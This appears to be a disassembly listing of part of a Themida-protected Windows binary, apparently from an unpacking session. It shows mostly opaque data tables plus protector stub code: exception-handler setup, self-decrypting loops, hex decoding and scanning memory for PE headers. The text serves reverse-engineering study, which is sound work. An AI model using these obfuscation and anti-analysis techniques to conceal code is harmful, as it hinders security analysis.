dd 225000h, 6777h, 0
dd 7C90EB94h, 5 dup(0)
dd 0FFA46211h, 7 dup(0)
dd 836F146Ch, 0
dd 3518h, 3 dup(0)
dd 7Ch, 0
dd offset byte_5C59C9
dd 3 dup(0)
dd offset loc_5F156D
dd 0F9689CE2h, 2 dup(0)
dd 84h, 0
dd 7C90EE18h, 2 dup(0)
dd 0B29417h, 5B3644h, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFED2C6Eh, 0
dd 7C90EB94h, 5D38CBh, 5B08A7h, 0
dd offset word_5EEC06
dd 0
dd 7C90EB94h, 3 dup(0)
dd 0E35189D4h, 2 dup(0)
dd 7C90EB94h, 0
dd 0B3h, 0
dd offset word_5E837E
dd 4 dup(0)
dd 77DDEBE7h, 6 dup(0)
dd 143FFB0h, 0
dd 7C85A016h, 2B000h, 5DB4h, 5B4559h, 6 dup(0)
dd 1B3FFB0h, 0
dd 7C812A09h, 2 dup(0)
dd 0FFC00000h, 4 dup(0)
dd offset byte_5A9CF7
dd 2 dup(0)
dd offset loc_5FCAA1
dd 26E0000h, 25D6DD4h, 7 dup(0)
dd 1, 0E9AE2B12h, 3 dup(0)
dd offset dword_5CB544
dd 0Dh dup(0)
dd 0B51CF7h, 0
dd 4633h, 0Fh dup(0)
dd 0B2AAA1h, 981062h, 0BA066B5Eh, 0B58B0Dh, 2 dup(0)
dd 155C28h, 0
dd 400000h, 0
; ---------------------------------------------------------------------------
push eax
retf 57h
; ---------------------------------------------------------------------------
align 10h
dd 7C814AF2h, 0FE2940F3h, 0
dd 18B9547Ch, 2 dup(0)
dd 7C90EB94h, 5950h, 3 dup(0)
dd 0FFA15E9Ah, 1AA7D75Dh, 2CDF26ECh, 12h dup(0)
dd 6A20h, 6 dup(0)
dd 0E8Ch, 5 dup(0)
dd 7C80180Eh, 12FEC8h, 5 dup(0)
dd offset byte_5D0F8D
dd offset byte_5B30AB
align 10h
dd 56Dh, 74h, 0B0h, 0
; ---------------------------------------------------------------------------
jmp loc_58C99D
; ---------------------------------------------------------------------------
align 4
dd 8C7A6B9Bh, 2 dup(0)
dd 7C863F58h, 4 dup(0)
dd offset word_5B5CDE
dd 4 dup(0)
dd 28E3h, 1Ch dup(0)
dd 0B28EE4h, 3 dup(0)
dd 0FFFF9730h, 0
dd 0A47BB7C5h, 0
dd 77DDEE5Ah, 4 dup(0)
dd 110000h, 4 dup(0)
dd offset dword_57A6BC
dd 129C8E9h, 0B58B0Dh, 0FFFFA4B8h, 57C1CCh, 7 dup(0)
dd offset loc_5DB6AE
dd 2 dup(0)
dd 0AAF9FCh, 0FFA4C9BCh, 0
dd offset loc_5D1204
dd offset loc_5CA37F
align 10h
dd 8312D562h, 2 dup(0)
dd offset dword_57B29C
dd 2 dup(0)
dd 5A2F1A42h, 7 dup(0)
dd 0B81E69h, 25D00FFh, 3 dup(0)
dd offset loc_5CE3FB
dd 77DDEDE5h, 2 dup(0)
dd 144BA8h, 5 dup(0)
dd 7C90EB94h, 8 dup(0)
dd 7E410000h, 2 dup(0)
dd 1, 0
dd 750BC377h, 59856574h, 0Ah dup(0)
dd 50h, 0
dd 7C801D77h, 57B7C0h, 4 dup(0)
dd 766B5D9Eh, 5 dup(0)
aIaps db 'IAPS',0
align 4
dd 5 dup(0)
dd 0E984AD33h, 0
dd offset dword_5EEC7C
dd 3 dup(0)
dd 89ACh, 0Eh dup(0)
dd 0A8h, 5EEA73h, 2 dup(0)
dd 0D64BE35h, 2CDF26ECh, 5 dup(0)
dd 7FFFFFFFh, 2 dup(0)
dd 7D1h, 2 dup(0)
dd 0B2FA03h, 0B21920h, 30DFh, 0
dd 6A0652EFh, 9 dup(0)
dd 1, 6 dup(0)
dd 23E4h, 6 dup(0)
dd offset loc_5FC7A8
dd 3 dup(0)
dd 836F146Ch, 2 dup(0)
dd 660188FBh, 7 dup(0)
dd offset dword_57C208
dd 4 dup(0)
dd 2Ch, 0B20A25h, 836F146Ch, 2 dup(0)
dd 0C246DA44h, 3 dup(0)
dd offset unk_511000
dd 75D91624h, 0FF4D05FDh, 8 dup(0)
dd 7C90EB94h, 9 dup(0)
dd 0B21A3Ch, 9 dup(0)
dd 1, 0
dd 76B40000h, 0
dd 0B32493h, 400579FDh, 7C90EB94h, 0Ah dup(0)
dd 370h, 5FC7A8h, 8 dup(0)
dd 6880ED7Ch, 2 dup(0)
dd offset word_5F0A82
align 8
dd 33ED219h, 0
dd 113000BAh, 0
dd 9DEFh, 0
dd 81A52E24h, 3 dup(0)
dd 341682F4h, 2 dup(0)
a8jmm db '8JMM',0
align 4
dd 2Ah dup(0)
dd 7C90EB94h, 0
dd 12E8h, 6 dup(0)
dd 0FFFE946Ch, 2700000h, 7DC1h, 2 dup(0)
; ---------------------------------------------------------------------------
ja short near ptr dword_57A600
jb short near ptr byte_57A667
jmp near ptr dword_57A624
; ---------------------------------------------------------------------------
align 10h
dd 4 dup(0)
dword_57A600 dd 5 dup(0) dd 0E3230388h, 2 dup(0)
dd 99B1h
dword_57A624 dd 5 dup(0) dd offset loc_6020C8+2
dd 6 dup(0)
dd offset loc_5B3644
dd 3 dup(0)
db 3 dup(0)
byte_57A667 db 0 ; CODE XREF: Themida_:0057A5E6j
dd 0
dd offset dword_5CFB64
dd 0B2180Fh, 538h, 2 dup(0)
dd 84832887h, 2 dup(0)
dd 0EE7C8D8Dh, 0
dd 110B5Fh, 0
dd offset byte_5B0023
dd 7 dup(0)
dword_57A6BC dd 0 ; Themida_:0057C27Co
; ---------------------------------------------------------------------------
jmp loc_58D08D
; ---------------------------------------------------------------------------
align 4
dd 0Bh dup(0)
dd 7C90EB94h, 7 dup(0)
dd 0B086h, 3 dup(0)
dd 1610Ch, 6 dup(0)
dd 1B3FFB0h, 14h dup(0)
dd 73859465h, 0
dd offset sub_5D3167
dd offset sub_5B2328
dd offset byte_5B0023
dd 0
dd offset sub_57D567
dd 0FFFF6617h, 0B52878h, 0
dd 7C804722h, 0
dd 8EA5h, 57CA50h, 4 dup(0)
dd 7C90DDF9h, 6 dup(0)
dd offset word_5BED76
dd 7C809B47h, 0
dd 0B2180Fh, 3 dup(0)
dd 0FFFFFF1Ch, 0C20000h, 3 dup(0)
dd 146Ch, 3 dup(0)
dd 123644h, 0B2AEA1h, 12DA7FD9h, 2 dup(0)
dd 7C80ADA0h, 6 dup(0)
dd offset byte_5B4711
dword_57A86C dd 0A9C530DFh, 66h dup(0) ; Themida_:0057C278o
dd 12FE80h, 0Dh dup(0)
dd offset dword_57C1CC
dd 7C900000h, 0
dd 12FEC8h, 8 dup(0)
dd 41B44B2Bh, 0DD197FB1h, 0
dd 0A9C530DFh, 0
dd offset dword_5E68BC
dd 0
dd 180Fh, 57CA50h, 4 dup(0)
dd 5A38B20h, 5B427A15h, 7C90EB94h, 3 dup(0)
dd 5B266D5Dh, 2 dup(0)
dd 7C80003Eh, 5C631Eh, 2 dup(0)
dd 0DB57h, 7 dup(0)
dd 0A3D24694h, 4 dup(0)
dd offset byte_5B89BB
dd 0B58B32h, 3 dup(0)
dd 7Ch, 5BFDFFh, 0B20E24h, 5C41A9h, 5AD3BEh, 8 dup(0)
dd 836F11E8h, 280h, 6 dup(0)
dd offset sub_57D567
dd 7C90EB94h, 5 dup(0)
dd offset loc_5D312E
dd 0FFFFA4B4h, 1D25CD95h, 0Ch dup(0)
dd offset byte_401000
dd 3 dup(0)
dd 872E48FEh, 0
dd 4D84D320h, 11h dup(0)
; ---------------------------------------------------------------------------
loc_57AC2C: ; DATA XREF: Themida_:0057C0A8o
mov eax, 0
or eax, eax
jz short loc_57AC38
retn 18h
; ---------------------------------------------------------------------------
loc_57AC38: ; CODE XREF: Themida_:0057AC33j
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0B2FA37h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 10h
dd 13h dup(0)
dd 77DD7883h, 4 dup(0)
dd offset word_5DF622
dd 27h, 0FFA14313h, 3 dup(0)
dd 2000h, 5EFE3Fh, 9 dup(0)
dd 0CE8h, 6 dup(0)
dd 660188FBh, 6 dup(0)
dd 0B8h, 9 dup(0)
dd 2156F4E7h, 2 dup(0)
dd offset loc_5BFC03
dd 5 dup(0)
dd 0CE8F25h, 5 dup(0)
dd 2CCCA45Fh, 0B2A8CFh, 5B2328h, 5 dup(0)
dd 6DE28D8h, 6D656854h, 616469h, 1Eh dup(0)
dd offset dword_5CA6E4
dd 5 dup(0)
dd 85308058h, 0FFA355F1h, 6 dup(0)
dd 0B6A61Eh, 0
dd 0B28B28h, 5C7171h, 15h dup(0)
dd 675DD1FEh, 0
dd offset byte_5B6219
dd 6 dup(0)
dd 2CDF26ECh, 6 dup(0)
dd 7C90EB94h, 1, 8 dup(0)
dd 0B28E51h, 0FFFFFB04h, 5 dup(0)
dd 19h, 6 dup(0)
dd 0FFFFBFFFh, 30DFh, 4 dup(0)
dd 0DBC51B0h, 1, 24242424h, 1Ah dup(0)
dd 0D2933FFAh, 0
dd 186B6511h, 3 dup(0)
dd 1, 23h, 0
dd 12FFE0h, 5C5EDDh, 0
dd 3EFCh, 3 dup(0)
dd offset word_5E156A
dd 0Ch dup(0)
dd 4918ED0h, 0
dd 7FDD3FFCh, 0D3D4E0A3h, 2 dup(0)
dd 56006A60h, 2 dup(0)
dd 0FFFFFF40h, 4B633211h, 2 dup(0)
dd 7C800000h, 0
dd 58D8h, 665DB524h, 8C7A6B9Bh, 0Ah dup(0)
dd 0C990E565h, 5E8D52h, 0
dd offset byte_5ED535
dd 3 dup(0)
dd 7C8111DAh, 0Dh dup(0)
dd 692041Bh, 0
dd 557h, 2 dup(0)
; ---------------------------------------------------------------------------
mov al, 0FFh
retn
; ---------------------------------------------------------------------------
db 1
dd offset loc_5FB538
dd 7 dup(0)
dd offset loc_5B2585
dd 4 dup(0)
dd 7C810A77h, 0A9C530DFh, 3 dup(0)
dd 0FF4983F2h, 3 dup(0)
dd 7C90EB94h, 77DD0000h, 5BED76h, 0C8h, 2 dup(0)
dd 665DB524h, 7 dup(0)
dd 5B266D5Ch, 3 dup(0)
dd 0E8A7C95Fh, 0
dd offset loc_5BCFA1
dd 2540000h, 5 dup(0)
dd 0C481E92Fh, 0A8D287h, 2 dup(0)
dd 7FFFFFFFh, 5 dup(0)
dd 77DD6BF0h, 0
dd 7CDFFFF6h, 0B28D20h, 0
dd 0A9C530DFh, 0Fh dup(0)
dword_57B29C dd 0B22918h, 3 dup(0) dd 0B2180Fh, 2 dup(0)
db 90h
db 2Ah, 90h, 7Ch
align 10h
dd 79121C99h, 0E698FE36h, 0
dd 7E25F05h, 76B44E5Bh, 5EEC7Ch, 0
dd 692041Bh, 0
dd 3DFD8D8Dh, 3 dup(0)
dd 0E8h, 4 dup(0)
dd 0FE4C0050h, 31E9h, 5AD14Bh, 945FFE4Bh, 0
dd 12FEBCh, 8 dup(0)
dd 6DEEC30Dh, 0Ch dup(0)
dd 0FF4D05FDh, 0
dd 254002Ch, 9 dup(0)
dd 74736552h, 41747261h, 652E7070h, 6578h, 2 dup(0)
dd 76F36C5Bh, 5 dup(0)
dd offset dword_57DA5C
dd 0
dd offset loc_5E9F97
dd 5 dup(0)
; ---------------------------------------------------------------------------
jmp loc_58DDC1
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_58DDD1
; ---------------------------------------------------------------------------
align 4
dd 5 dup(0)
dd 0E35189D4h, 0
dd 32597F5Dh, 2 dup(0)
dd offset loc_5B3644
align 10h
dd 0FB892B50h, 4 dup(0)
dd offset loc_5B20D4
dd 0
dd offset loc_5D919C
dd 0
dd 248C9F4h, 0
dd 0D3E5D77Bh, 2 dup(0)
dd 12FF54h, 2 dup(0)
dd 30DFh, 0
dd 11111111h, 0
dd offset loc_5B8B74
dd 0
dd 12FEC8h, 8Ah dup(0)
dd 0A280105h, 0
dd 2950000h, 0
dd 26D0000h, 0
dd 0AFBD6884h, 5B3644h, 0
dd 1, 10h dup(0)
dd offset loc_5C93A4
align 8
dd 12FFA4h, 981062h, 5B5A0Fh, 21212121h, 3 dup(0)
dd 0FFA4A618h, 2 dup(0)
dd offset loc_5AD40E
dd 4 dup(0)
dd 68h, 0
dd 0B2B508h, 0
dd offset loc_5D6C3B
dd 5 dup(0)
dd 3EFCh, 7C916315h, 0
dd 4, 2 dup(0)
dd 51F6F940h, 0
dd offset loc_5C1E18
dd 0
dd 129C8E9h, 0FFED0184h, 981062h, 3 dup(0)
dd 1, 26E0000h, 0Ah dup(0)
; ---------------------------------------------------------------------------
mov al, 0FFh
retn
; ---------------------------------------------------------------------------
db 1
dd 4 dup(0)
dd 0FFFFA060h, 0
dd 0B831E5h, 6EBAF7F4h, 1, 0B2FA03h, 17h dup(0)
dd 3E9BDA02h, 0
dd 836F146Ch, 0
dd 4, 0
dd 0F3E6AA48h, 5 dup(0)
dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 80h dup(0)
dd 7D4303A3h, 4 dup(0)
dd 665DB524h, 2 dup(0)
dd 3D94h, 0
dd offset sub_5B2328+1
dd 0
dd 4001F0h, 0Ah dup(0)
dd 7C800000h, 0Fh dup(0)
dd 0B2180Fh, 5 dup(0)
dd 0A70000h, 7 dup(0)
dd 12FFE0h, 0Ah dup(0)
dd 0AE91E458h, 4 dup(0)
dd 86555974h, 6 dup(0)
dd offset loc_5CC3B9
dd 0B21A44h, 0
dd 7C90EB94h, 0Ch dup(0)
dd 0B2180Fh, 7C90EB94h, 77DFC41Bh, 5 dup(0)
dd offset dword_4E6ECC+1A868h
dd 4 dup(0)
dd offset dword_57C1CC
align 10h
dd 20001h, 0
dd 713Ah, 0Bh dup(0)
db 90h
db 17h, 0F2h, 76h
dd 7 dup(0)
dd offset loc_5E6372
dd 5 dup(0)
dd 7C90EB94h, 5 dup(0)
dd offset loc_5EA07C
dd 2 dup(0)
dd 0B2180Fh, 3 dup(0)
dd 0AA00h, 0Dh dup(0)
dd 0FDE9B230h, 0
dd 0FFFFC600h, 90h, 4 dup(0)
dd 8B32h, 5BA433h, 0Fh dup(0)
dd 77DD7883h, 13h dup(0)
dd 88h, 1Ah dup(0)
dd 20513D02h, 0
dd 0B83F0Fh, 5EEA6Dh, 3 dup(0)
; ---------------------------------------------------------------------------
retn 0Ch
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
dd 5E8h, 5AD165h, 0FFFFFF8Ch, 0
dd 18EA9DEFh, 0
dd 7C804722h, 2 dup(0)
a6666 db '6666',0
align 4
dd 5 dup(0)
dd 0B28E51h, 25D6DD4h, 13h dup(0)
dd 0FE3C0050h, 8 dup(0)
dd offset loc_5D30D1
dd 2 dup(0)
dd 0FFFFFFB0h, 0
dd offset loc_5B5100
dd 0FFFFFFFFh, 8B32h, 5EF3AEh, 2 dup(0)
dd offset sub_5D34AB
dd 5 dup(0)
dd 0FFFF5F9Eh, 0
dd offset sub_5E6279
dd 0
dd 0FFFF8D68h, 0Fh dup(0)
dd 6A8ED9B9h, 0
dd 0A9C530DFh, 3 dup(0)
dd 7C90EB94h, 3 dup(0)
dd 12FF54h, 4 dup(0)
dd 7C90EB94h, 4 dup(0)
dd 0CAECh, 7C80ABDEh, 400E9h, 77DDEE37h, 2 dup(0)
dd 7C90EB94h, 0Ah dup(0)
dd 7C81CDDAh, 180Fh, 2 dup(0)
dd offset loc_57AC2C
dd 8 dup(0)
dd offset loc_5A504D+1
dd 4 dup(0)
dd 0FFA3BE57h, 45EAE94h, 3 dup(0)
dd 9ECEh, 0FFFBFF17h, 5AD3E6h, 12FFA4h, 2 dup(0)
dd 0B2003Eh, 5 dup(0)
dd 0E1DE586h, 5 dup(0)
dd 0FFFF2AF0h, 0
dd 30081FD3h, 0B2180Fh, 5DDD8Eh, 5FDCAFh, 2 dup(0)
dd offset word_5D4B22
dd 4928D8Dh, 8 dup(0)
dd 56Dh, 0FFFF6211h, 0
dd offset dword_5CB524
dd 8 dup(0)
dd 129C8E9h, 0E896DE4Dh, 0
; ---------------------------------------------------------------------------
jmp locret_58EB8D
; ---------------------------------------------------------------------------
align 4
dd 0
dword_57C1CC dd 6ACh, 3 dup(0) ; Themida_:0057BC78o
dd 0FBD36FA6h, 5 dup(0)
dd 1, 3 dup(0)
dd 0EC8h
dword_57C208 dd 0 ; ---------------------------------------------------------------------------
jmp loc_58EBD9
; ---------------------------------------------------------------------------
align 4
dd 12FFF0h, 0B73FFCh, 9 dup(0)
dd 0B20000h, 2 dup(0)
dd offset loc_57DD80
dd 3 dup(0)
dd offset dword_57A86C+4
dd 2 dup(0)
dd 2, 836F146Ch, 0B29417h, 0
dd offset dword_57A86C+5
dd offset dword_57A6BC
dd 6 dup(0)
dd 9027FDD5h, 15375Ch, 77F7F117h, 6 dup(0)
dd 0D5BE9B37h, 4 dup(0)
dd 0B2EC7Ch, 0
dd 0C8h, 0
dd offset loc_5E7D12
dd 0A0h, 2 dup(0)
dd 0D0D4956h, 2 dup(0)
dd 0BC7A36h, 0
dd 7C90EB94h, 0
dd offset loc_5C0BD0+3
dd 0
dd 12FFA4h, 3 dup(0)
dd 0FFFFFFFEh, 0
dd 0B817A6h, 8 dup(0)
dd 8Ch, 12FEC8h, 0
dd 0FFFF6617h, 3 dup(0)
dd 7C81CDDAh, 0Ch dup(0)
dd 0FFFE946Ch, 0
dd 2710h, 2Ah dup(0)
dd offset loc_5B1299+1
dd 7 dup(0)
dd 12FF60h, 0A0h, 5 dup(0)
dd 99B1h, 12FFE0h, 4 dup(0)
dd 2A4139C9h, 5 dup(0)
dd 0A9C530DFh, 7C80B4CFh, 9959h, 2 dup(0)
dd offset dword_60FA7C
dd 3 dup(0)
dd 7DA7E680h, 5 dup(0)
; ---------------------------------------------------------------------------
jmp near ptr byte_57C901
; ---------------------------------------------------------------------------
align 4
dd 6 dup(0)
dd offset loc_5BA430+3
dd 0B2FA37h, 0DA44h, 0
dd 26F0000h, 5 dup(0)
dd 2DA27F8h, 4 dup(0)
dd offset loc_5B719C
dd 4 dup(0)
dd 0FFFE946Ch, 0
aFirCWindowsSys db 'ӑ|C:\WINDOWS\system32\ADVAPI32.dll',0
align 4
dd 39h dup(0)
dd offset loc_5FC7A8
align 10h
dd offset sub_5FB366
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_58F069
; ---------------------------------------------------------------------------
align 8
dword_57C6A8 dd 4, 3 dup(0) dd 4Ch, 0
dd offset loc_5CE3FB
a333333333333 db '333333333333',0
align 4
dd 6 dup(0)
dd 9Ch, 0FFA494DFh, 0Dh dup(0)
dd 49749180h, 0
dd offset byte_5C59C9
dd 76B51148h, 3 dup(0)
dd 0A5D0E5BEh, 78h, 2 dup(0)
dd 0B80213h, 9 dup(0)
dd 1, 4 dup(0)
dd 836F146Ch, 7 dup(0)
dd offset byte_5A9CF7
dd 12FFC4h, 0
dd 7C90EB94h, 7C800001h, 8 dup(0)
dd 1, 0
dd 713B56D8h, 6 dup(0)
dd 660188FBh, 3 dup(0)
dd 665DB524h, 0
dd 0DD890000h, 4 dup(0)
dd 4756EDE5h, 0
dd 70h, 4 dup(0)
dd 0B21842h, 5 dup(0)
dd 7C80180Eh, 8 dup(0)
dd 5698h, 4 dup(0)
dd 0B3h, 9 dup(0)
dd 12543FE0h, 5 dup(0)
dd 0B79178h, 7 dup(0)
db 0
byte_57C901 db 3 dup(0) ; CODE XREF: Themida_:0057C4FCj
align 8
dd 190Ah, 0
dd offset loc_5C0BD0+3
align 8
dd offset loc_5CA2B6
dd 4 dup(0)
dd 0DFD0B015h, 0
dd offset dword_4E6ECC+427Ch
dd 0
dd offset loc_5E735D+4
dd 0
dd 2156F4E7h, 4 dup(0)
dd 7E41A8ADh, 7C90EB94h, 0
dd 504Eh, 0B2180Fh, 0
dd 7C90EE18h, 0
dd 224E63Eh, 2 dup(0)
dd 7C90EB94h, 6Ch, 0
dd 0B2180Fh, 6 dup(0)
dd 13710A65h, 3 dup(0)
dd 0E0h, 2 dup(0)
dd 113014h, 0B2FA03h, 5 dup(0)
dd offset word_5ED70E
align 10h
dd 0E7156211h, 3 dup(0)
dd 4D000h, 5D34ABh, 5 dup(0)
; ---------------------------------------------------------------------------
jmp near ptr word_57CABA
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd offset loc_5B719C
dd 1D835B68h, 0
dd 76F21510h, 123BC3h, 0
dd offset dword_57C6A8
dd 0
dd 3D94h, 0B237ECh, 0
dd 0B2003Eh, 2 dup(0)
dd 0ACh, 14h dup(0)
db 2 dup(0)
word_57CABA dw 0 ; CODE XREF: Themida_:0057CA1Cj
dd 2 dup(0)
dd 0FFFF8DECh, 0B6h dup(0)
dd 7C80ABC2h, 94h, 3 dup(0)
dd 7E41A8ADh, 0FFFE0B6Ch, 0
dd 60000h, 0
dd 32597F5Dh, 0B4FCADh, 2 dup(0)
dd 0A4h, 0
dd 7CED2A9Eh, 0
dd 16B94h, 0
dd offset loc_5C4EAA
dd 5 dup(0)
dd 7C90EB94h, 3 dup(0)
dd 0DC1E4954h, 80h, 3 dup(0)
dd 5643h, 5B3656h, 7C800D10h, 2 dup(0)
dd 0FFFF9DEFh, 1020h, 8 dup(0)
dd 0BC7BB919h, 3 dup(0)
dd offset word_5EE6A6
dd 0FDC9A77Eh, 0
dd 0B40A4h, 0
dd 1, 400000h, 2Eh dup(0)
; ---------------------------------------------------------------------------
loc_57CF4C: ; CODE XREF: Themida_:loc_579A2Fj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 6153527h
mov [ebp+6152D85h], edx
mov [ebp+6152AA5h], esi
mov [ebp+61527E5h], eax
cmp dword ptr [ebp+61507A9h], 0
jz short loc_57CF84
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_57CF84: ; CODE XREF: Themida_:0057CF76j
mov eax, [esp+24h]
mov [ebp+6152559h], eax
push 45h
call sub_57D038
push 783749Ah
call sub_57D07E
push 0A894B25h
call sub_57D07E
jmp loc_57D1C2
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57D038 proc near ; CODE XREF: Themida_:0057CF90p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6153615h
mov ebx, edx
mov [ebp+var_28], 0
loc_57D054: ; CODE XREF: sub_57D038+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_57D073
mov eax, [ebp+arg_0]
mov [ebx+615357Fh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_57D054
; ---------------------------------------------------------------------------
loc_57D073: ; CODE XREF: sub_57D038+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_57D038 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57D07E proc near ; CODE XREF: Themida_:0057CF9Ap
; Themida_:0057CFA4p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 615365Eh
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_57D0A4: ; CODE XREF: sub_57D07E+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_57D0A4
mov [ebp+var_84], 0
lea edi, [edx+615357Fh]
lea esi, [ebp+var_80]
loc_57D0D4: ; CODE XREF: sub_57D07E+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_57D0E0: ; CODE XREF: sub_57D07E+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_57D0E0
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_57D0D4
popa
leave
retn 4
sub_57D07E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_57D11E
; ---------------------------------------------------------------------------
loc_57D11A: ; CODE XREF: Themida_:0057D121j
inc dword ptr [ebp-4]
inc esi
loc_57D11E: ; CODE XREF: Themida_:0057D118j
cmp byte ptr [esi], 0
jnz short loc_57D11A
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_57D1AF
; ---------------------------------------------------------------------------
loc_57D130: ; CODE XREF: Themida_:0057D1B2j
mov dword ptr [ebp-8], 0
jmp short loc_57D1A6
; ---------------------------------------------------------------------------
loc_57D139: ; CODE XREF: Themida_:0057D1AAj
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_57D193
; ---------------------------------------------------------------------------
loc_57D149: ; CODE XREF: Themida_:0057D197j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_57D16B
cmp bl, 39h
ja short loc_57D16B
sub bl, 30h
jmp short loc_57D18D
; ---------------------------------------------------------------------------
loc_57D16B: ; CODE XREF: Themida_:0057D15Fj
; Themida_:0057D164j
cmp bl, 61h
jb short loc_57D17D
cmp bl, 66h
ja short loc_57D17D
sub bl, 61h
add bl, 0Ah
jmp short loc_57D18D
; ---------------------------------------------------------------------------
loc_57D17D: ; CODE XREF: Themida_:0057D16Ej
; Themida_:0057D173j
cmp bl, 41h
jb short loc_57D18D
cmp bl, 46h
ja short loc_57D18D
sub bl, 41h
add bl, 0Ah
loc_57D18D: ; CODE XREF: Themida_:0057D169j
; Themida_:0057D17Bj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_57D193: ; CODE XREF: Themida_:0057D147j
cmp dword ptr [ebp-0Ch], 2
jb short loc_57D149
cmp dword ptr [ebp-10h], 0
jbe short loc_57D1A3
mov eax, [ebp-10h]
stosb
loc_57D1A3: ; CODE XREF: Themida_:0057D19Dj
inc dword ptr [ebp-8]
loc_57D1A6: ; CODE XREF: Themida_:0057D137j
cmp dword ptr [ebp-8], 2
jb short loc_57D139
add edx, 4
loc_57D1AF: ; CODE XREF: Themida_:0057D12Ej
cmp edx, [ebp-4]
jb loc_57D130
mov al, 0
stosb
mov eax, [ebp-4]
locret_57D1BE: ; CODE XREF: Themida_:0057D235j
leave
retn 8
; ---------------------------------------------------------------------------
loc_57D1C2: ; CODE XREF: Themida_:0057CFA9j
mov ecx, 7000h
lea edi, [ebp+61537A4h]
loc_57D1CD: ; CODE XREF: Themida_:0057D1D1j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_57D1CD
mov eax, 48692121h
mov edx, 0F0113000h
sub edx, 0F0000000h
lea eax, [ebp+615389Eh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov ebx, 5CF2F1B5h
mov bx, cx
sub eax, edx
js loc_57D213
mov ebx, 7EAFA86h
loc_57D213: ; CODE XREF: Themida_:0057D208j
and eax, 0FFFFF000h
push 0
push edi
call sub_57D223
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D223 proc near ; CODE XREF: Themida_:0057D21Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_57D223 endp
; ---------------------------------------------------------------------------
cmc
pop ebx
jl short locret_57D1BE
sub ch, [edi]
cli
idiv dword ptr [edi-2148F0E7h]
mov ecx, edx
xor edi, edi
loc_57D244: ; CODE XREF: Themida_:0057D25Fj
cmp word ptr [eax], 5A4Dh
jnz short loc_57D259
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_57D261
loc_57D259: ; CODE XREF: Themida_:0057D249j
sub eax, 1000h
inc edi
jmp short loc_57D244
; ---------------------------------------------------------------------------
loc_57D261: ; CODE XREF: Themida_:0057D257j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+61538B1h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_57D29B
mov esi, [eax+1Ch]
loc_57D29B: ; CODE XREF: Themida_:0057D296j
xor eax, eax
loc_57D29D: ; CODE XREF: Themida_:0057D2B0j
cmp eax, 32h
jz short loc_57D2C1
cmp word ptr [esi], 5A4Dh
jz short loc_57D2B2
loc_57D2A9: ; CODE XREF: Themida_:0057D2BFj
sub esi, 10000h
inc eax
jmp short loc_57D29D
; ---------------------------------------------------------------------------
loc_57D2B2: ; CODE XREF: Themida_:0057D2A7j
